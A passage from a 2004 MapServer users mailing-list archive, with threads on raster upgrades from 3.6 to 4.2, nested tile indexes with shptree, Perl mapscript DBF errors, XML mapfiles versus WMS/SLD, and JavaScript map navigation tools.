default extent if only one point is plotted. Does anyone know how I can do this? Lindsay ---------------------------------------- Lindsay C. Blanton ------_=_NextPart_001_01C444B7.C89DCB53 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Plotting Multiple Lat/Long points and setting extents

Everyone,

Say for instance I have a = list of Lat/Long points that I want to plot on a map that has existing = SHP file layers.  I'd like to plot each of these points, and have = the extent of the map set such that all of the points are displayed on = the map, but set a default extent if only one point is = plotted.

Does anyone know how I = can do this?

Lindsay

----------------------------------------
Lindsay C. Blanton

------_=_NextPart_001_01C444B7.C89DCB53-- From wallace at earthit.com Fri May 28 06:47:55 2004 From: wallace at earthit.com (Woody Wallace) Date: Fri, 28 May 2004 08:47:55 -0500 Subject: [Mapserver-users] Raster problems upgrading from 3.6 to 4.2 Message-ID: <40B7430B.6090309@earthit.com> Hi. I have recently downloaded and installed the windows binaries for Mapserver with phpmapscript 4.2 beta 3 that includes GDAL support from the DM solutions downloads page. Previously we were using version 3.6. Now, with 4.2, maps that contained raster images that require GDAL support (e.g. ESRI grids and 24-bit TIFFs) do not display (although it displays the vector layers in the same maps just fine, while the rasters are supposed to be visible). I copied the GDAL dll to the winnt/system32 directory as directed. Has there been changes to the way the GDAL layers are defined in the mapfile? Thanks for your help. Woody -- Woody Wallace Geomorphologist EarthIT/STI office: 608-442-5745 mobile: 608-320-0050 email: wallace at earthit.com http://www.earthit.com "Putting information in its place." From woodbri at swoodbridge.com Fri May 28 06:50:45 2004 From: woodbri at swoodbridge.com (Stephen Woodbridge) Date: Fri, 28 May 2004 09:50:45 -0400 Subject: [Mapserver-users] nested tiles In-Reply-To: <40B73A25.5040204@uva.nl> References: <40B73A25.5040204@uva.nl> Message-ID: <40B743B5.1040503@swoodbridge.com> Jan, I question that you really need this structure. At topozone.com, there are 250,000 tiff raster files organized into about 20 UTM zones with one layer per zone. Each DOQQ raster was either 50MB or 150MB (mono or color). The files were grouped into one degree by one degree coverage directories for the whole US, HI, AK, and PR. This was very easy to manage because a you could add, delete or change files anytime and use a simple perl script to regenerate the tileindexes. This scheme is serving nearly 20 TB of raster data. Ed McNierney might have more to add on this. -Steve W. Jan Hartmann wrote: > Hi, > > Is it possible to have nested tile-indexes for raster applications, i.e. > one master index which refers to several sub-indexes, which in their > turn refer to the underlying raster files? I think I have read something > like this in the list, but I can't find it. I'm trying to make a design > for displaying 17000 historical cadastral maps, each 4000*4000 pixels, > covering the whole of the Netherlands. At a later stage I would like to > do the same for the original 10000*10000 scans. Any other suggestions on > how to organise this would be very welcome too. > > Jan > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From sgillies at frii.com Fri May 28 07:00:31 2004 From: sgillies at frii.com (Sean Gillies) Date: Fri, 28 May 2004 08:00:31 -0600 Subject: [Mapserver-users] Can't locate object method "TIEHASH" In-Reply-To: <1085747887.1591.4.camel@ubet.gomoos.org> References: <200405280954.i4S9s4IA025757@b3sn28.hannover.bgr.de> <1085747887.1591.4.camel@ubet.gomoos.org> Message-ID: <622354BB-B0AF-11D8-BAD4-000D9329D732@frii.com> On May 28, 2004, at 6:38 AM, Eric Bridger wrote: > On Fri, 2004-05-28 at 05:54, Agneta Schick wrote: >> Hello mapserver-users, >> >> I've searched the mail archive and found 2 messages on this topic, >> both were, however, unanswered. >> >> So I'll try again... >> >> Platform: >> MapServer 4.0.1 >> solaris 9 >> Perl 5.8.3 >> >> I want to test an application querying shape files. >> My perl mapscript code >> ... >> $layer->queryByPoint($tmp_map,$pnt,$mapscript::MS_SINGLE,1000); >> my $res = $layer->getResult(0); >> $layer->open(); >> my $shape=new mapscript::shapeObj($layer->{type}); >> my $shape_index = $layer->getShape($shape,-1,$res->{shapeindex}); >> my $table = >> mapscript::msDBFOpen("/space/b3sn13/webdb/htdocs/ermos/data/ >> usgs.dbf","r+"); >> .... >> is terminated with >> Can't locate object method "TIEHASH" via package "_DBFHandle". >> >> Is this a mapscript problem or is something missing in the >> installation? >> >> (I tried the same perl script on solaris 8, mapserver 3.6.5, perl 5.6 >> and got the same error). > > This sounds familiar to me but I can't remember the details. > > The solution is to not use mapscript's DBF functions. I've never gotten > them to work. Use some other dbase module. I use XBase.pm > http://search.cpan.org/~janpaz/DBD-XBase-0.241/lib/XBase.pm to do all > dbf access of shapefiles. > > Eric > Will one of you enter this as a new MapScript-SWIG bug? If it turns out that none of us are using the msDBF* functions through mapscript, then I should see about removing them from the module. I too prefer to use XBase much of the time. For querying, use shapeObj::getValue() to get at the attributes of features. The following code for ($i=0; $i<$layer->{numitems}; $i++) { $att_name = $layer->getItem($i); $att_value = $shape->getValue($i); ... gets attribute names and items. It's a bit awkward that you can't get both from the same object. If you feel strongly about that, file a new feature enhancement in Bugzilla. cheers, Sean -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From sgillies at frii.com Fri May 28 07:30:25 2004 From: sgillies at frii.com (Sean Gillies) Date: Fri, 28 May 2004 08:30:25 -0600 Subject: [Mapserver-users] XML Mapfile In-Reply-To: <40B71F95.9010305@swoodbridge.com> References: <40B71F95.9010305@swoodbridge.com> Message-ID: <8F76E097-B0B3-11D8-BAD4-000D9329D732@frii.com> On May 28, 2004, at 5:16 AM, Stephen Woodbridge wrote: > Hi all, > > There is a pretty extensive discussion on XML mapfiles in the > archives, did anything come of this? Did anyone build any conversion > tools? > > Thanks, > -Steve W. > My XML project is not yet bearing any fruit. Are you going to the users meeting? Maybe we could see if any like-minded folks want to discuss it there. cheers, Sean -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From ed at topozone.com Fri May 28 07:32:27 2004 From: ed at topozone.com (Ed McNierney) Date: Fri, 28 May 2004 10:32:27 -0400 Subject: [Mapserver-users] nested tiles Message-ID: <2A6FDD75AE04BE4A9E8C918D3C09FB076FA2@ptolemy.topozone.com> Jan - Yes, I agree with Steve - I doubt you need this. I would recommend you create a single tileindex and then be sure to create quadtree index on the tileindex by using shptree. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Jan Hartmann Sent: Friday, May 28, 2004 9:10 AM To: Mapserver Users List Subject: [Mapserver-users] nested tiles Hi, Is it possible to have nested tile-indexes for raster applications, i.e. one master index which refers to several sub-indexes, which in their turn refer to the underlying raster files? I think I have read something like this in the list, but I can't find it. I'm trying to make a design for displaying 17000 historical cadastral maps, each 4000*4000 pixels, covering the whole of the Netherlands. At a later stage I would like to do the same for the original 10000*10000 scans. Any other suggestions on how to organise this would be very welcome too. Jan _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From keon at nacse.org Fri May 28 07:32:36 2004 From: keon at nacse.org (Dylan Keon) Date: Fri, 28 May 2004 07:32:36 -0700 Subject: [Mapserver-users] Raster problems upgrading from 3.6 to 4.2 In-Reply-To: <40B7430B.6090309@earthit.com> References: <40B7430B.6090309@earthit.com> Message-ID: <40B74D84.3080706@nacse.org> On 5/28/2004 6:47 AM, Woody Wallace wrote: > Hi. > > I have recently downloaded and installed the windows binaries for > Mapserver with phpmapscript 4.2 beta 3 that includes GDAL support from > the DM solutions downloads page. Previously we were using version 3.6. > Now, with 4.2, maps that contained raster images that require GDAL > support (e.g. ESRI grids and 24-bit TIFFs) do not display (although it > displays the vector layers in the same maps just fine, while the rasters > are supposed to be visible). I copied the GDAL dll to the > winnt/system32 directory as directed. > > Has there been changes to the way the GDAL layers are defined in the > mapfile? There were a number of across-the-board changes between 3.6 and later versions. When upgrading from 3.6, be sure to take a look at http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?MigrationGuide --Dylan From j.l.h.hartmann at uva.nl Fri May 28 07:45:29 2004 From: j.l.h.hartmann at uva.nl (Jan Hartmann) Date: Fri, 28 May 2004 16:45:29 +0200 Subject: [Mapserver-users] nested tiles In-Reply-To: <2A6FDD75AE04BE4A9E8C918D3C09FB076FA2@ptolemy.topozone.com> References: <2A6FDD75AE04BE4A9E8C918D3C09FB076FA2@ptolemy.topozone.com> Message-ID: <40B75089.3030809@uva.nl> Ed McNierney wrote: > Jan - > > Yes, I agree with Steve - I doubt you need this. I would recommend you > create a single tileindex and then be sure to create quadtree index on > the tileindex by using shptree. > OK, I'll do that; it's a small country after all. The quadtree is a good suggestion, perhaps that's what I did read about. Just for the record: *are* nested tiles possible? Jan From eric at gomoos.org Fri May 28 08:08:46 2004 From: eric at gomoos.org (Eric Bridger) Date: 28 May 2004 11:08:46 -0400 Subject: [Mapserver-users] Can't locate object method "TIEHASH" In-Reply-To: <622354BB-B0AF-11D8-BAD4-000D9329D732@frii.com> References: <200405280954.i4S9s4IA025757@b3sn28.hannover.bgr.de> <1085747887.1591.4.camel@ubet.gomoos.org> <622354BB-B0AF-11D8-BAD4-000D9329D732@frii.com> Message-ID: <1085756932.1580.32.camel@ubet.gomoos.org> On Fri, 2004-05-28 at 10:00, Sean Gillies wrote: > On May 28, 2004, at 6:38 AM, Eric Bridger wrote: > > > On Fri, 2004-05-28 at 05:54, Agneta Schick wrote: > >> Hello mapserver-users, > >> > >> I've searched the mail archive and found 2 messages on this topic, > >> both were, however, unanswered. > >> > >> So I'll try again... > >> > >> Platform: > >> MapServer 4.0.1 > >> solaris 9 > >> Perl 5.8.3 > >> > >> I want to test an application querying shape files. > >> My perl mapscript code > >> ... > >> $layer->queryByPoint($tmp_map,$pnt,$mapscript::MS_SINGLE,1000); > >> my $res = $layer->getResult(0); > >> $layer->open(); > >> my $shape=new mapscript::shapeObj($layer->{type}); > >> my $shape_index = $layer->getShape($shape,-1,$res->{shapeindex}); > >> my $table = > >> mapscript::msDBFOpen("/space/b3sn13/webdb/htdocs/ermos/data/ > >> usgs.dbf","r+"); > >> .... > >> is terminated with > >> Can't locate object method "TIEHASH" via package "_DBFHandle". > >> > >> Is this a mapscript problem or is something missing in the > >> installation? > >> > >> (I tried the same perl script on solaris 8, mapserver 3.6.5, perl 5.6 > >> and got the same error). > > > > This sounds familiar to me but I can't remember the details. > > > > The solution is to not use mapscript's DBF functions. I've never gotten > > them to work. Use some other dbase module. I use XBase.pm > > http://search.cpan.org/~janpaz/DBD-XBase-0.241/lib/XBase.pm to do all > > dbf access of shapefiles. > > > > Eric > > > > Will one of you enter this as a new MapScript-SWIG bug? If it turns > out that > none of us are using the msDBF* functions through mapscript, then I > should see > about removing them from the module. > > I too prefer to use XBase much of the time. > > For querying, use shapeObj::getValue() to get at the attributes of > features. > The following code > > for ($i=0; $i<$layer->{numitems}; $i++) { > $att_name = $layer->getItem($i); > $att_value = $shape->getValue($i); > ... > > gets attribute names and items. It's a bit awkward that you can't get > both from > the same object. If you feel strongly about that, file a new feature > enhancement > in Bugzilla. I can create the bug report. I'll try and create a simple Perl script to reproduce it. From siki at agt.bme.hu Fri May 28 11:18:26 2004 From: siki at agt.bme.hu (Siki Zoltan) Date: Fri, 28 May 2004 17:18:26 -0100 (GMT+1) Subject: [Mapserver-users] How do I create a georeferenced tiff file... {Scanned} {Scanned} In-Reply-To: <64FC1B3E23F04C4E931EE3F6D809FF303ABF51@DIV-MX02.divestco> Message-ID: Hi, I think shp2img can help you. You must have mapserver with postgis driver. Create the neccessary map file and run shp2img on that map file. shp2img is distributed with mapserver. I think gdal_translate can't help, it translates between raster formats. Postgis store vector data, not raster. Bye Zoltan On Thu, 27 May 2004, Zamil Murji wrote: > Hello list, > > I've got a postgis table with approximately 500000 rows. I would like to extract that data at various scales into georeferenced tiff images. How do I do this? What programs can I use? > > Thanks for your help, > Zamil > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From woodbri at swoodbridge.com Fri May 28 08:29:34 2004 From: woodbri at swoodbridge.com (Stephen Woodbridge) Date: Fri, 28 May 2004 11:29:34 -0400 Subject: [Mapserver-users] nested tiles In-Reply-To: <40B75089.3030809@uva.nl> References: <2A6FDD75AE04BE4A9E8C918D3C09FB076FA2@ptolemy.topozone.com> <40B75089.3030809@uva.nl> Message-ID: <40B75ADE.6010604@swoodbridge.com> Jan Hartmann wrote: > > > Ed McNierney wrote: > >> Jan - >> >> Yes, I agree with Steve - I doubt you need this. I would recommend you >> create a single tileindex and then be sure to create quadtree index on >> the tileindex by using shptree. YES, Yes, yes! you should create shptree (*.qix) files for ALL shapefiles. Everybody should remember this for all shapefiles as it provides a significant performance boost in in 99.99% of the cases. find /path/to/data -follow -name "*.shp" -exec shptree {} \; > OK, I'll do that; it's a small country after all. The quadtree is a good > suggestion, perhaps that's what I did read about. Just for the record: > *are* nested tiles possible? Not that I know of. I don't know if the new changes that Steve Lime made to separate off the tileindex into it's own layer might provide functionality for such a feature or not. -Steve W. From woodbri at swoodbridge.com Fri May 28 08:48:19 2004 From: woodbri at swoodbridge.com (Stephen Woodbridge) Date: Fri, 28 May 2004 11:48:19 -0400 Subject: [Mapserver-users] XML Mapfile In-Reply-To: <8F76E097-B0B3-11D8-BAD4-000D9329D732@frii.com> References: <40B71F95.9010305@swoodbridge.com> <8F76E097-B0B3-11D8-BAD4-000D9329D732@frii.com> Message-ID: <40B75F43.5080301@swoodbridge.com> Sean Gillies wrote: > On May 28, 2004, at 5:16 AM, Stephen Woodbridge wrote: > >> Hi all, >> >> There is a pretty extensive discussion on XML mapfiles in the >> archives, did anything come of this? Did anyone build any conversion >> tools? >> >> Thanks, >> -Steve W. >> > > My XML project is not yet bearing any fruit. Are you going to the users > meeting? > Maybe we could see if any like-minded folks want to discuss it there. MUM2 is still a question at this point for me. I am interested in doing something with Perl. One idea is to: write a perl script to convert maplexer.l into a Parse::Lex script and mapparser.y to a Parse::Yapp script. This would allow us to generate perl code that could accurately read mapfiles based on the mapserver grammar files. - this may be more trouble than it is worth as I don't know much about these tools. My goal would be to be able to read a mapfile and send it as xml to another client. They could make changes to it and request a map based on the modified mapfile. The modified mapfile would be validated and converted back to a Mapfile or would be dynamically instanciated in Mapscript. I don't think Mapscript supports all the functionality we need to do the later. -Steve From mike.merrett at city.whitehorse.yk.ca Fri May 28 09:04:15 2004 From: mike.merrett at city.whitehorse.yk.ca (Merrett, Mike) Date: Fri, 28 May 2004 09:04:15 -0700 Subject: [Mapserver-users] Javascript solutions for navigating Message-ID: <3CB96EAEFD928B49AF8978BA92BB65A41DEEE2@DUKE.city.whitehorse.yk.ca> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C444CD.3014953A Content-Type: text/plain; charset="iso-8859-1" Hi: I have not found a javascript solution yet -- but there is a java applet solution called rosa which does most of the things you talk about (with php) -- there is a downloadable demo of it at http://www.maptools.org/dl/gmap-ms40.zip Enjoy, Mike Merrett -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Giuseppe Chielli Sent: May 28, 2004 12:53 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Javascript solutions for navigating Hi! I'm just studying mapserver and I follow the discussion in the list, but I can't understand if there is a javascript solution already implemented for viewing and consulting a map (for example, implementation of tools like zoom in and zoom out with boxes, and so on for a better graphical interface). I refer to a Mapserver compliant solution, of course. I apologize for my little knowledge of Mapserver. Thanks for your answers. ------_=_NextPart_001_01C444CD.3014953A Content-Type: text/html; charset="iso-8859-1"
Hi:
    I have not found a javascript solution yet -- but there is a java applet solution called rosa which does most of the things you talk about  (with php) -- there is a downloadable demo of it at
 
 
 
Enjoy,
Mike Merrett
-----Original Message-----
From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Giuseppe Chielli
Sent: May 28, 2004 12:53 AM
To: mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] Javascript solutions for navigating

Hi! I'm just studying mapserver and I follow the discussion in the list, but I can't understand if there is a javascript solution already implemented for viewing and consulting a map (for example, implementation of tools like zoom in and zoom out with boxes, and so on for a better graphical interface). I refer to a Mapserver compliant solution, of course.
I apologize for my little knowledge of Mapserver.
 
Thanks for your answers.
------_=_NextPart_001_01C444CD.3014953A-- From spencer at dmsolutions.ca Fri May 28 09:07:10 2004 From: spencer at dmsolutions.ca (Paul Spencer) Date: Fri, 28 May 2004 12:07:10 -0400 Subject: [Mapserver-users] XML Mapfile In-Reply-To: <40B75F43.5080301@swoodbridge.com> References: <40B71F95.9010305@swoodbridge.com> <8F76E097-B0B3-11D8-BAD4-000D9329D732@frii.com> <40B75F43.5080301@swoodbridge.com> Message-ID: <40B763AE.4040304@magma.ca> Um. This sounds a lot like Web Map Contexts ;) Except that only works with WMS data ... but how were you thinking that the client would request the map remotely? Paul Stephen Woodbridge wrote: > Sean Gillies wrote: > >> On May 28, 2004, at 5:16 AM, Stephen Woodbridge wrote: >> >>> Hi all, >>> >>> There is a pretty extensive discussion on XML mapfiles in the >>> archives, did anything come of this? Did anyone build any conversion >>> tools? >>> >>> Thanks, >>> -Steve W. >>> >> >> My XML project is not yet bearing any fruit. Are you going to the >> users meeting? >> Maybe we could see if any like-minded folks want to discuss it there. > > > MUM2 is still a question at this point for me. > > I am interested in doing something with Perl. > > One idea is to: > write a perl script to convert maplexer.l into a Parse::Lex script > and mapparser.y to a Parse::Yapp script. This would allow us to > generate perl code that could accurately read mapfiles based on the > mapserver grammar files. - this may be more trouble than it is worth > as I don't know much about these tools. > > My goal would be to be able to read a mapfile and send it as xml to > another client. They could make changes to it and request a map based on > the modified mapfile. The modified mapfile would be validated and > converted back to a Mapfile or would be dynamically instanciated in > Mapscript. I don't think Mapscript supports all the functionality we > need to do the later. > > -Steve > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- ----------------------------------------------------------------- |Paul Spencer pspencer at dmsolutions.ca | |-----------------------------------------------------------------| |Applications & Software Development | |DM Solutions Group Inc http://www.dmsolutions.ca/| ----------------------------------------------------------------- From woodbri at swoodbridge.com Fri May 28 09:44:54 2004 From: woodbri at swoodbridge.com (Stephen Woodbridge) Date: Fri, 28 May 2004 12:44:54 -0400 Subject: [Mapserver-users] XML Mapfile In-Reply-To: <40B763AE.4040304@magma.ca> References: <40B71F95.9010305@swoodbridge.com> <8F76E097-B0B3-11D8-BAD4-000D9329D732@frii.com> <40B75F43.5080301@swoodbridge.com> <40B763AE.4040304@magma.ca> Message-ID: <40B76C86.4080809@swoodbridge.com> Paul Spencer wrote: > Um. This sounds a lot like Web Map Contexts ;) Except that only works > with WMS data ... but how were you thinking that the client would > request the map remotely? OK, this is not total thought through yet and there may be better ways of doing this. But the idea would be that you could make an xml service available that a user could request a mapfile and get it in xml, they could then modify colors, layers, min/max scales, and labeling (basically the symbology) but not the structure other than turning layers on/off. A variant of this idea would be to create and abstraction of the symbology and return that as an xml document and when it is returned then regenerate a new mapfile based on the abstraction. When I create mapfiles I generate an excel spread sheet with with symbolic layers like "ROADS" and then describe the styling and data at the various zoom scales and do that for each virtual layer, then that gets expanded into a Mapserver mapfile and physical layers. I kind of like the later option because it is more abstract and hides all the syntactic details of a mapserver mapfile which nobody really needs to know about. -Steve > > Stephen Woodbridge wrote: > >> Sean Gillies wrote: >> >>> On May 28, 2004, at 5:16 AM, Stephen Woodbridge wrote: >>> >>>> Hi all, >>>> >>>> There is a pretty extensive discussion on XML mapfiles in the >>>> archives, did anything come of this? Did anyone build any conversion >>>> tools? >>>> >>>> Thanks, >>>> -Steve W. >>>> >>> >>> My XML project is not yet bearing any fruit. Are you going to the >>> users meeting? >>> Maybe we could see if any like-minded folks want to discuss it there. >> >> >> >> MUM2 is still a question at this point for me. >> >> I am interested in doing something with Perl. >> >> One idea is to: >> write a perl script to convert maplexer.l into a Parse::Lex script >> and mapparser.y to a Parse::Yapp script. This would allow us to >> generate perl code that could accurately read mapfiles based on the >> mapserver grammar files. - this may be more trouble than it is worth >> as I don't know much about these tools. >> >> My goal would be to be able to read a mapfile and send it as xml to >> another client. They could make changes to it and request a map based >> on the modified mapfile. The modified mapfile would be validated and >> converted back to a Mapfile or would be dynamically instanciated in >> Mapscript. I don't think Mapscript supports all the functionality we >> need to do the later. >> >> -Steve >> >> _______________________________________________ >> Mapserver-users mailing list >> Mapserver-users at lists.gis.umn.edu >> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> > From spencer at dmsolutions.ca Fri May 28 09:59:44 2004 From: spencer at dmsolutions.ca (Paul Spencer) Date: Fri, 28 May 2004 12:59:44 -0400 Subject: [Mapserver-users] XML Mapfile In-Reply-To: <40B76C86.4080809@swoodbridge.com> References: <40B71F95.9010305@swoodbridge.com> <8F76E097-B0B3-11D8-BAD4-000D9329D732@frii.com> <40B75F43.5080301@swoodbridge.com> <40B763AE.4040304@magma.ca> <40B76C86.4080809@swoodbridge.com> Message-ID: <40B77000.4080101@magma.ca> this would be WMS and SLD. The limitation would be that MapServer SLD support does not fully describe all the styling options available to a normal MapServer layer. I think I see where you are going with this, I just don't think it is a good idea to invent yet another way of doing this if you already have a mechanism in place that could do it with only minor modifications. The concept is good, but it doesn't need to be something new since this problem has already been solved. Unless there is some technical reason why WMS/SLD wouldn't serve this purpose? Paul Stephen Woodbridge wrote: > Paul Spencer wrote: > >> Um. This sounds a lot like Web Map Contexts ;) Except that only >> works with WMS data ... but how were you thinking that the client >> would request the map remotely? > > > OK, this is not total thought through yet and there may be better ways > of doing this. But the idea would be that you could make an xml service > available that a user could request a mapfile and get it in xml, they > could then modify colors, layers, min/max scales, and labeling > (basically the symbology) but not the structure other than turning > layers on/off. > > A variant of this idea would be to create and abstraction of the > symbology and return that as an xml document and when it is returned > then regenerate a new mapfile based on the abstraction. When I create > mapfiles I generate an excel spread sheet with with symbolic layers like > "ROADS" and then describe the styling and data at the various zoom > scales and do that for each virtual layer, then that gets expanded into > a Mapserver mapfile and physical layers. > > I kind of like the later option because it is more abstract and hides > all the syntactic details of a mapserver mapfile which nobody really > needs to know about. > > -Steve > >> >> Stephen Woodbridge wrote: >> >>> Sean Gillies wrote: >>> >>>> On May 28, 2004, at 5:16 AM, Stephen Woodbridge wrote: >>>> >>>>> Hi all, >>>>> >>>>> There is a pretty extensive discussion on XML mapfiles in the >>>>> archives, did anything come of this? Did anyone build any >>>>> conversion tools? >>>>> >>>>> Thanks, >>>>> -Steve W. >>>>> >>>> >>>> My XML project is not yet bearing any fruit. Are you going to the >>>> users meeting? >>>> Maybe we could see if any like-minded folks want to discuss it there. >>> >>> >>> >>> >>> MUM2 is still a question at this point for me. >>> >>> I am interested in doing something with Perl. >>> >>> One idea is to: >>> write a perl script to convert maplexer.l into a Parse::Lex script >>> and mapparser.y to a Parse::Yapp script. This would allow us to >>> generate perl code that could accurately read mapfiles based on the >>> mapserver grammar files. - this may be more trouble than it is worth >>> as I don't know much about these tools. >>> >>> My goal would be to be able to read a mapfile and send it as xml to >>> another client. They could make changes to it and request a map based >>> on the modified mapfile. The modified mapfile would be validated and >>> converted back to a Mapfile or would be dynamically instanciated in >>> Mapscript. I don't think Mapscript supports all the functionality we >>> need to do the later. >>> >>> -Steve >>> >>> _______________________________________________ >>> Mapserver-users mailing list >>> Mapserver-users at lists.gis.umn.edu >>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>> >> > > -- ----------------------------------------------------------------- |Paul Spencer pspencer at dmsolutions.ca | |-----------------------------------------------------------------| |Applications & Software Development | |DM Solutions Group Inc http://www.dmsolutions.ca/| ----------------------------------------------------------------- From sgillies at frii.com Fri May 28 10:03:39 2004 From: sgillies at frii.com (Sean Gillies) Date: Fri, 28 May 2004 11:03:39 -0600 Subject: [Mapserver-users] Can't locate object method "TIEHASH" In-Reply-To: <20040528163009.A263B1A659B@mail.medinaco.org> References: <20040528163009.A263B1A659B@mail.medinaco.org> Message-ID: On May 28, 2004, at 10:30 AM, Lowell Filak wrote: > The following message was sent by Sean Gillies on > Fri, 28 May 2004 08:00:31 -0600. > >> Will one of you enter this as a new MapScript-SWIG bug? If it turns >> out that >> none of us are using the msDBF* functions through mapscript, then I >> should see >> about removing them from the module. >> > > Can it be removed? I was under the impression that TCL/MapScript > needed it. > > Lowell > > The mapscriptsupp.tcl file hasn't been modified since MapServer 3.5. I'll bet a beer at MUM2 that it is already broken in spots against MapServer 4.3 (CVS). I'd really like to know if there are any users of it. I won't make any radical changes without finding out. But, as a general principle, I advocate removing unused stuff from the module as soon as we can safely do so. cheers, Sean -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From sgillies at frii.com Fri May 28 10:22:18 2004 From: sgillies at frii.com (Sean Gillies) Date: Fri, 28 May 2004 11:22:18 -0600 Subject: [Mapserver-users] XML Mapfile In-Reply-To: <40B77000.4080101@magma.ca> References: <40B71F95.9010305@swoodbridge.com> <8F76E097-B0B3-11D8-BAD4-000D9329D732@frii.com> <40B75F43.5080301@swoodbridge.com> <40B763AE.4040304@magma.ca> <40B76C86.4080809@swoodbridge.com> <40B77000.4080101@magma.ca> Message-ID: <923C6AEB-B0CB-11D8-BAD4-000D9329D732@frii.com> I agree with Paul. SLD could be a good match for your app. In the 4.2 release the layerObj has generateSLD and applySLD methods. Think of it as a stylesheet for your layer. BTW -- Paul, it would make it so much easier to make sense of these threads if you would follow suit on bottom-posting vs top-posting. I don't think one is necessarily better than the other, but since you replied to a thread in which I had already started bottom-posting, you should follow suit. For the benefit of future readers in the archive. Just my $.02. cheers, Sean On May 28, 2004, at 10:59 AM, Paul Spencer wrote: > this would be WMS and SLD. The limitation would be that MapServer SLD > support does not fully describe all the styling options available to a > normal MapServer layer. > > I think I see where you are going with this, I just don't think it is > a good idea to invent yet another way of doing this if you already > have a mechanism in place that could do it with only minor > modifications. > > The concept is good, but it doesn't need to be something new since > this problem has already been solved. Unless there is some technical > reason why WMS/SLD wouldn't serve this purpose? > > Paul > From ARyan at co.linn.or.us Fri May 28 10:17:10 2004 From: ARyan at co.linn.or.us (Ryan, Adam) Date: Fri, 28 May 2004 10:17:10 -0700 Subject: [Mapserver-users] Layer REQUIRES w/ PHP mapscript Message-ID: <614FCE5F14A6D41180C200010240D6A26996A0@LINNMS> Hey List, The LAYER object's REQUIRES parameter doesn't seem to work using PHP mapscript. Is this something I need to code myself in PHP? Do I get a big fat DUUUHHHHH!! or is this a logical question? Anyone want to share a routine to parse a REQUIRES statement? Thanks, Adam From rich at greenwoodmap.com Fri May 28 10:33:29 2004 From: rich at greenwoodmap.com (Richard Greenwood) Date: Fri, 28 May 2004 11:33:29 -0600 Subject: [Mapserver-users] Javascript solutions for navigating In-Reply-To: <3CB96EAEFD928B49AF8978BA92BB65A41DEEE2@DUKE.city.whitehorse.yk.ca> References: <3CB96EAEFD928B49AF8978BA92BB65A41DEEE2@DUKE.city.whitehorse.yk.ca> Message-ID: <40B777E9.6050009@greenwoodmap.com> Merrett, Mike wrote: > Hi: > I have not found a javascript solution yet -- but there is a java > applet solution called rosa which does most of the things you talk > about (with php) -- there is a downloadable demo of it at > > http://www.maptools.org/dl/gmap-ms40.zip > > > Enjoy, > Mike Merrett > > -----Original Message----- > *From:* mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu]*On Behalf Of > *Giuseppe Chielli > *Sent:* May 28, 2004 12:53 AM > *To:* mapserver-users at lists.gis.umn.edu > *Subject:* [Mapserver-users] Javascript solutions for navigating > > Hi! I'm just studying mapserver and I follow the discussion in the > list, but I can't understand if there is a javascript solution > already implemented for viewing and consulting a map (for example, > implementation of tools like zoom in and zoom out with boxes, and so > on for a better graphical interface). I refer to a Mapserver > compliant solution, of course. > I apologize for my little knowledge of Mapserver. > > Thanks for your answers. Also check out jBox, download from: http://mapserver.gis.umn.edu/contributed.html and doc's at: http://mapserver.gis.umn.edu/doc.html -- Richard Greenwood www.greenwoodmap.com From rich at greenwoodmap.com Fri May 28 10:37:09 2004 From: rich at greenwoodmap.com (Richard Greenwood) Date: Fri, 28 May 2004 11:37:09 -0600 Subject: [Mapserver-users] Both GDAL and TIFF problems? In-Reply-To: <1085670705.3074.22.camel@localhost.localdomain> References: <1085670705.3074.22.camel@localhost.localdomain> Message-ID: <40B778C5.1000101@greenwoodmap.com> Scot Wilcoxon wrote: > I've seen mention of problems with having both GDAL and TIFF defined > during configuration. What are the problems and are there workarounds? > > I'm getting a 500 Internal Server Error from tutorial 1-5, but that is > all the info I have. I see mapserv -v says I have GDAL and TIFF > compiled, but I don't know how to determine if that is the source of my > problem. I see there already is a related Bugzilla entry, so I won't > make another report there. I sort of doubt that's your problem. What version of mapserver and what platform. In 3.6 (I think) on Windows I had both and ran into no problems. I'm not recommending that configuration, just saying that it worked. Can you display vectors? -- Richard Greenwood www.greenwoodmap.com From eric at gomoos.org Fri May 28 10:47:16 2004 From: eric at gomoos.org (Eric Bridger) Date: 28 May 2004 13:47:16 -0400 Subject: [Mapserver-users] Can't locate object method "TIEHASH" In-Reply-To: <20040528163009.A263B1A659B@mail.medinaco.org> References: <20040528163009.A263B1A659B@mail.medinaco.org> Message-ID: <1085766442.1592.55.camel@ubet.gomoos.org> On Fri, 2004-05-28 at 12:30, Lowell Filak wrote: > The following message was sent by Sean Gillies on > Fri, 28 May 2004 08:00:31 -0600. > > > On May 28, 2004, at 6:38 AM, Eric Bridger wrote: > > > > > On Fri, 2004-05-28 at 05:54, Agneta Schick wrote: > > >> Hello mapserver-users, > > >> > > >> I've searched the mail archive and found 2 messages on this topic, > > >> both were, however, 